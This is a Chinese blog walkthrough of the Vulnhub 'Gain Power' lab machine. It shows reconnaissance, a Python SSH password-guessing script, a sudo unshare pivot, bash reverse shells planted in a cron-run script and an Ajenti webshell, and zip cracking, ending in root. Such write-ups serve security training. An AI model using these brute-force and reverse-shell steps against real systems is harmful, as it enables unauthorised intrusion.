主頁 >  其他 > Vulnhub之Gain Power靶機詳細測驗程序

Vulnhub之Gain Power靶機詳細測驗程序

2023-05-03 07:33:18 其他

Gain Power

識別目標主機IP地址

(kali?kali)-[~/Vulnhub/Gainpower]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24

Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                        

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:a1:99:30      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.254  08:00:27:57:a3:c2      1      60  PCS Systemtechnik GmbH        

利用Kali Linux的netdiscover工具識別目標主機IP地址為192.168.56.254

NMAP掃描

┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.254 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 09:14 EDT
Nmap scan report for bogon (192.168.56.254)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 88416111e11f187dd60c38292579162c (RSA)
|   256 18c5fdcecd2b92f8d9171721249d67df (ECDSA)
|_  256 84c514e4e93321416a9272b9a7331aea (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS))
|_http-title: Watch shop | eCommers
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti
MAC Address: 08:00:27:57:A3:C2 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.86 seconds

NMAP掃描結果表明目標主機有3個開放埠:22(ssh)、80(http)、8000(http)

獲得Shell

┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ nikto -h http://192.168.56.254/ 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.254
+ Target Hostname:    192.168.56.254
+ Target Port:        80
+ Start Time:         2023-05-01 09:17:44 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3092: /readme.txt: This might be interesting...
+ OSVDB-3268: /secret/: Directory indexing found.
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 8725 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2023-05-01 09:18:38 (GMT-4) (54 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

nikto工具掃描出目錄/secret,訪問該目錄,將該目錄下的圖片檔案下載到Kali Linux本地進行分析,

但是圖片分析沒有得到任何有意的結果,

└─$ ssh [email protected]                                        
The authenticity of host '192.168.56.254 (192.168.56.254)' can't be established.
ED25519 key fingerprint is SHA256:1yR5iTL+oNBeYI7ACvh1p8CYWHrzXAiOC+CSijIO9uQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.254' (ED25519) to the list of known hosts.
Hi !!! THIS MESSAGE IS ONLY VISIBLE IN OUR NETWORK :) 

   ___      _        ___                    
  / __|__ _(_)_ _   | _ \_____ __ _____ _ _ 
 | (_ / _` | | ' \  |  _/ _ \ V  V / -_) '_|
  \___\__,_|_|_||_| |_| \___/\_/\_/\___|_|  


I HOPE EVERYONE KNOW THE JOINING ID CAUSE THAT IS YOUR USERNAME : ie : employee1 employee2 ... ... ... so on ;)

I already told the format of password of everyone in the yesterday's metting.

Now i have configured everything. My request is to everyone to Complete assignments on time 

btw one of my employee have sudo powers because he is my favourite 

NOTE : "This message will automatically removed after 2 days" 
                                                                - BOSS

[email protected]'s password: 

假設用戶名為employee1,根據作者提示,可能密碼與用戶名有一定規律,比如跟用戶名相同

從home家目錄來看有coworker, helper,以及employee,而只有其中一個employee有sudo 權限,因此需要撰寫腳本找出哪個employee有sudo 權限

import paramiko
import sys
import time

class GainPowerCls:
    def __init__(self) -> None:
        self.host = '192.168.56.254'   # IP address of the virtual machine(target) 
        print("Target: %s" % self.host)
        try:         
            self.ssh_client = paramiko.SSHClient()
            self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())            

        except Exception as e:
            print("Something is wrong: %s" % e)
            sys.exit()


    def run_sudo(self,username, password):
        try:
            print('Attempt to access by %s: %s' % (username, password))
            self.ssh_client.connect(hostname=self.host,username=username, password=password)
            transport = self.ssh_client.get_transport()
            # Return the underlying .Transport object for this SSH connection. This can be used to perform lower-level tasks, like opening specific kinds of channels.
            session = transport.open_session()
            # Request a new channel to the server, of type "session". This is just an alias for calling open_channel with an argument of "session"
            session.set_combine_stderr(True)
            # Set whether stderr should be combined into stdout on this channel. The default is False, but in some cases it may be convenient to have both streams combined.
            session.get_pty()
            #Request a pseudo-terminal from the server. This is usually used right after creating a client channel, to ask the server to provide some basic terminal semantics for a shell invoked with invoke_shell. It isn't necessary (or desirable) to call this method if you're going to execute a single command with exec_command.
            session.exec_command('sudo -l')
            stdin = session.makefile('wb',-1)
            stdout = session.makefile('rb',-1)
            stdin.write(password+'\n')
            stdin.flush()
            print(stdout.read().decode('utf-8'))
            session.close()
            self.ssh_client.close()
        except Exception as e:
            print(e)
            sys.exit()

    def run(self):
        for i in range(1,101):
            username = 'employee' + str(i)
            password = 'employee' + str(i)
            self.run_sudo(username, password)
            print('*'*150)
            time.sleep(1)

if __name__ == '__main__':
    client = GainPowerCls()
    client.run()

運行上述python腳本可知employee64擁有sudo 權限

employee64
[sudo] password for employee64: 
Matching Defaults entries for employee64 on localhost:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User employee64 may run the following commands on localhost:
    (programmer) /usr/bin/unshare

******************************************************************************************************************************************************
┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ ssh [email protected]
Hi !!! THIS MESSAGE IS ONLY VISIBLE IN OUR NETWORK :) 

   ___      _        ___                    
  / __|__ _(_)_ _   | _ \_____ __ _____ _ _ 
 | (_ / _` | | ' \  |  _/ _ \ V  V / -_) '_|
  \___\__,_|_|_||_| |_| \___/\_/\_/\___|_|  


I HOPE EVERYONE KNOW THE JOINING ID CAUSE THAT IS YOUR USERNAME : ie : employee1 employee2 ... ... ... so on ;)

I already told the format of password of everyone in the yesterday's metting.

Now i have configured everything. My request is to everyone to Complete assignments on time 

btw one of my employee have sudo powers because he is my favourite 

NOTE : "This message will automatically removed after 2 days" 
                                                                - BOSS

[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password: 
Last failed login: Mon May  1 22:34:48 EDT 2023 from 192.168.56.206 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Mon May  1 22:30:52 2023 from 192.168.56.206
[employee64@localhost ~]$ id
uid=1063(employee64) gid=1063(employee64) groups=1063(employee64) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

通過unshare執行不同的命名空間的bash從而得到programmer的shell

[employee64@localhost ~]$ sudo -u programmer /usr/bin/unshare /bin/bash
[sudo] password for employee64: 
bash-4.2$ id
uid=1182(programmer) gid=1184(prome) groups=1184(prome) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.2$ 

這樣我們就得到了programmer的shell

bash-4.2$ pwd
/media/programmer/scripts
bash-4.2$ cat backup.sh 
#!/bin/bash
cp /var/www/html/thisiscarddetails.txt /tmp/back.txt

在/media/programmer/scripts有腳本,會被定期執行

將pspy64工具上傳至目標主機的/tmp目錄

bash-4.2$ cd /tmp
bash-4.2$ wget http://192.168.56.206:8000/pspy64
--2023-05-01 22:42:29--  http://192.168.56.206:8000/pspy64
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

100%[====================================================================================>] 3,104,768   --.-K/s   in 0.01s   

2023-05-01 22:42:29 (235 MB/s) - ‘pspy64’ saved [3104768/3104768]

bash-4.2$ chmod +x pspy64 
2023/05/01 22:44:01 CMD: UID=1183  PID=25118  | /bin/bash /media/programmer/scripts/backup.sh

可知backup.sh會被UID為1183的用戶定期執行

查看/etc/passwd檔案可知UID為1183的用戶為vanshal

bash-4.2$ ls -alh
total 4.0K
drwxr-xr-x. 2 programmer prome 23 May 18  2020 .
drwxrwx---. 3 programmer prome 21 Aug  8  2019 ..
-rwxr-xr-x. 1 programmer prome 65 May 18  2020 backup.sh

programmer用戶對backup.sh腳本有修改權限

bash-4.2$ echo 'bash -i >& /dev/tcp/192.168.56.206/5555 0>&1' >> backup.sh 
──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.254] 51130
bash: no job control in this shell
[vanshal@localhost ~]$ id
id
uid=1183(vanshal) gid=1184(prome) groups=1184(prome) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
You have mail in /var/mail/vanshal

稍微等會就可以得到vanshal的shell

[vanshal@localhost ~]$ cat loc
cat local.txt 

                ?██████╗??█████╗?██╗███╗??██╗??██████╗??█████╗??██╗???????██╗███████╗██████╗?
                ██╔════╝?██╔══██╗██║████╗?██║??██╔══██╗██╔══██╗?██║??██╗??██║██╔════╝██╔══██╗
                ██║??██╗?███████║██║██╔██╗██║??██████╔╝██║??██║?╚██╗████╗██╔╝█████╗??██████╔╝
                ██║??╚██╗██╔══██║██║██║╚████║??██╔═══╝?██║??██║??████╔═████║?██╔══╝??██╔══██╗
                ╚██████╔╝██║??██║██║██║?╚███║??██║?????╚█████╔╝??╚██╔╝?╚██╔╝?███████╗██║??██║
                ?╚═════╝?╚═╝??╚═╝╚═╝╚═╝??╚══╝??╚═╝??????╚════╝????╚═╝???╚═╝??╚══════╝╚═╝??╚═╝


                   You successfully owned the user of this box :-) Best of Luck for the root 


flag: 5c2a29d7b95868da9e503502f301e8dd

Twitter : VanshalG

得到了用戶flag

家目錄下有檔案secret.zip,將其下載到Kali Linux本地

──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ wget http://192.168.56.254:9999/secret.zip
--2023-05-01 22:52:19--  http://192.168.56.254:9999/secret.zip
Connecting to 192.168.56.254:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 439 [application/zip]
Saving to: ‘secret.zip’

secret.zip                      100%[=====================================================>]     439  --.-KB/s    in 0s      

2023-05-01 22:52:19 (1.52 MB/s) - ‘secret.zip’ saved [439/439]
──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ unzip secret.zip    
Archive:  secret.zip
[secret.zip] Mypasswords.txt password:                                                                                                                               
┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ zip2john secret.zip > secret_hash
ver 2.0 efh 5455 efh 7875 secret.zip/Mypasswords.txt PKZIP Encr: TS_chk, cmplen=243, decmplen=257, crc=BC7A971B ts=7F46 cs=7f46 type=8

┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt secret_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
81237900         (secret.zip/Mypasswords.txt)     
1g 0:00:00:00 DONE (2023-05-01 22:53) 6.250g/s 4480Kp/s 4480Kc/s 4480KC/s AnThOnY..741210
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

破解得到了檔案的密碼

┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ unzip secret.zip
Archive:  secret.zip
[secret.zip] Mypasswords.txt password: 
  inflating: Mypasswords.txt         

┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ cat Mypasswords.txt               
aTQ!vYxQUh3$&uaN3p%@_ax#Ab2XNZ!5$rFh$@bDMyxt#&Q2L&4+DvDT?A!MPKK9sFq-V8_d$5gQLKyKhf-4&S=_m^Cx?bZYf8Bv%%*H^GcvDc4ayfPk^HWs8bnD%Ayk3$5WP6_K?a6_%MF&e-DS2ZZ$m93BL3CY!huQDM2-JZcMSMKT8K*Z7zLPGATU7JP&x#JtaZHAbM^%$TK%C3ubXV4#e87M6P-puXTTMbzuP5y4qX6Uzd%ed8Ux_vMX=pCB

用上述密碼可以成功訪問8000埠,用戶名為root

有webshell,可以運行任何命令

bash -i >& /dev/tcp/192.168.56.206/8888 0>&1
┌──(kali?kali)-[~/Vulnhub/Gainpower]
└─$ sudo nc -nlvp 8888                                         
[sudo] password for kali: 
listening on [any] 8888 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.254] 45550
[root@localhost /]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[root@localhost /]# cd /root
cd /root
[root@localhost root]# ls -alh
ls -alh
total 28K
dr-xr-x---.  3 root root  132 Jun 21  2020 .
dr-xr-xr-x. 18 root root  240 Aug  7  2019 ..
-rw-r--r--.  1 root root   18 Dec 28  2013 .bash_logout
-rw-r--r--.  1 root root  176 Dec 28  2013 .bash_profile
-rw-r--r--.  1 root root  176 Dec 28  2013 .bashrc
-rw-r--r--.  1 root root  100 Dec 28  2013 .cshrc
drwxr-----.  3 root root   19 Aug  7  2019 .pki
-rw-r--r--.  1 root root 2.1K May 18  2020 proof.txt
-rw-------.  1 root root 1.0K Aug  7  2019 .rnd
-rw-r--r--.  1 root root  129 Dec 28  2013 .tcshrc
[root@localhost root]# cat proof.txt
cat proof.txt

        ?██████╗??█████╗?██╗███╗??██╗??██████╗??█████╗??██╗???????██╗███████╗██████╗?
        ██╔════╝?██╔══██╗██║████╗?██║??██╔══██╗██╔══██╗?██║??██╗??██║██╔════╝██╔══██╗
        ██║??██╗?███████║██║██╔██╗██║??██████╔╝██║??██║?╚██╗████╗██╔╝█████╗??██████╔╝
        ██║??╚██╗██╔══██║██║██║╚████║??██╔═══╝?██║??██║??████╔═████║?██╔══╝??██╔══██╗
        ╚██████╔╝██║??██║██║██║?╚███║??██║?????╚█████╔╝??╚██╔╝?╚██╔╝?███████╗██║??██║
        ?╚═════╝?╚═╝??╚═╝╚═╝╚═╝??╚══╝??╚═╝??????╚════╝????╚═╝???╚═╝??╚══════╝╚═╝??╚═╝

_________                                     __        .__          __  .__               
\_   ___ \  ____   ____    ________________ _/  |_ __ __|  | _____ _/  |_|__| ____   ____  
/    \  \/ /  _ \ /    \  / ___\_  __ \__  \\   __\  |  \  | \__  \\   __\  |/  _ \ /    \ 
\     \___(  <_> )   |  \/ /_/  >  | \// __ \|  | |  |  /  |__/ __ \|  | |  (  <_> )   |  \
 \______  /\____/|___|  /\___  /|__|  (____  /__| |____/|____(____  /__| |__|\____/|___|  /
        \/            \//_____/            \/                     \/                    \/ 


You successfully owned the root of this box :-)

Flag: eb2e174c3883ff6b5fd871167795b4d6

Twitter : VanshalG
[root@localhost root]# 
STRIVE FOR PROGRESS,NOT FOR PERFECTION

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551542.html

標籤:其他

上一篇:python輕量級性能工具-Locust

下一篇:返回列表

標籤雲
其他(158357) Python(38110) JavaScript(25398) Java(18011) C(15221) 區塊鏈(8261) C#(7972) AI(7469) 爪哇(7425) MySQL(7154) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5870) 数组(5741) R(5409) Linux(5334) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4565) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2432) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1964) Web開發(1951) HtmlCss(1929) python-3.x(1918) 弹簧靴(1913) C++(1912) xml(1889) PostgreSQL(1874) .NETCore(1857) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Vulnhub之Gain Power靶機詳細測驗程序

    Gain Power 識別目標主機IP地址 (kali?kali)-[~/Vulnhub/Gainpower] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: 192.168.56.0/24 | Screen V ......

    uj5u.com 2023-05-03 07:33:18 more
  • python輕量級性能工具-Locust

    Locust基于python的協程機制,打破了執行緒行程的限制,可以能夠在一臺測驗機上跑高并發 性能測驗基礎 1.快慢:衡量系統的處理效率:回應時間 2.多少:衡量系統的處理能力:單位時間內能處理多少個事務(tps) 性能測驗根據測驗需求最常見的分為下面三類 1 負載測驗load testing 不斷 ......

    uj5u.com 2023-05-03 07:27:58 more
  • 基于ChatGPT用AI實作自然對話

    1.概述 ChatGPT是當前自然語言處理領域的重要進展之一,通過預訓練和微調的方式,ChatGPT可以生成高質量的文本,可應用于多種場景,如智能客服、聊天機器人、語音助手等。本文將詳細介紹ChatGPT的原理、實戰演練和流程圖,幫助讀者更好地理解ChatGPT技術的應用和優勢。 2.內容 在當今快 ......

    uj5u.com 2023-05-01 07:34:37 more
  • Vulnhub之Gigroot靶機詳細測驗程序

    Gigroot 識別目標主機IP地址 ─(kali?kali)-[~/Vulnhub/Gigroot] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: 192.168.56.0/24 | Screen View: ......

    uj5u.com 2023-05-01 07:32:46 more
  • Nginx 入門實戰(2)--簡單使用

    本文主要介紹 Nginx 的實際使用,文中所使用到的軟體版本:Centos 7.9.2009、Nginx 1.22.1。 1、環境準備 這里主要演示使用 Nginx 代理 Http 及 TCP 應用,環境資訊如下: 主機 用途 Http 埠 TCP 埠 10.49.196.30 部署 Http、 ......

    uj5u.com 2023-05-01 07:32:41 more
  • 基于ChatGPT用AI實作自然對話

    1.概述 ChatGPT是當前自然語言處理領域的重要進展之一,通過預訓練和微調的方式,ChatGPT可以生成高質量的文本,可應用于多種場景,如智能客服、聊天機器人、語音助手等。本文將詳細介紹ChatGPT的原理、實戰演練和流程圖,幫助讀者更好地理解ChatGPT技術的應用和優勢。 2.內容 在當今快 ......

    uj5u.com 2023-05-01 07:26:08 more
  • AtCoder Beginner Contest 300

    A - N-choice question (abc300 a) 題目大意 給定一個元素互不相同的陣列$c$和 $a,b$,找到 $i$使得 $c_i = a + b$ 解題思路 直接for回圈尋找即可。 神奇的代碼 ```cpp #include using namespace std; usin ......

    uj5u.com 2023-04-30 07:50:49 more
  • 中國剩余定理(CRT)學習筆記

    約定 $A\perp B$ 表示 $\gcd(A,B)=1$。 $A\mid B$ 表示 $B\equiv 0\pmod{A}(A\neq0)$。 引入 考慮以下這道題: 有物不知其數,三三數之剩二,五五數之剩三,七七數之剩二。 問物幾何?—— 《孫子算經》 也就是說,求出下列關于 $x$ 方程組的 ......

    uj5u.com 2023-04-30 07:50:44 more
  • Vulnhub之GreenOptics靶機詳細測驗程序

    GreenOptics 識別目標主機IP地址 ─(kali?kali)-[~/Vulnhub/GreenOptic] └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | Screen View ......

    uj5u.com 2023-04-30 07:50:40 more
  • 一文帶你了解區塊鏈中15種共識演算法

    所有主要的區塊鏈共識演算法解釋 區塊鏈技術席卷全球,提供了一種去中心化且安全的資訊存盤和傳輸方式。它還徹底改變了交易的執行方式,隨之而來的是廣泛的共識演算法。在這里,共識演算法在確保區塊鏈網路的完整性方面發揮著關鍵作用。在本文中,我們將探討所有主要型別的區塊鏈共識演算法、它們的含義、優點、缺點,以及為什么它 ......

    uj5u.com 2023-04-30 07:50:19 more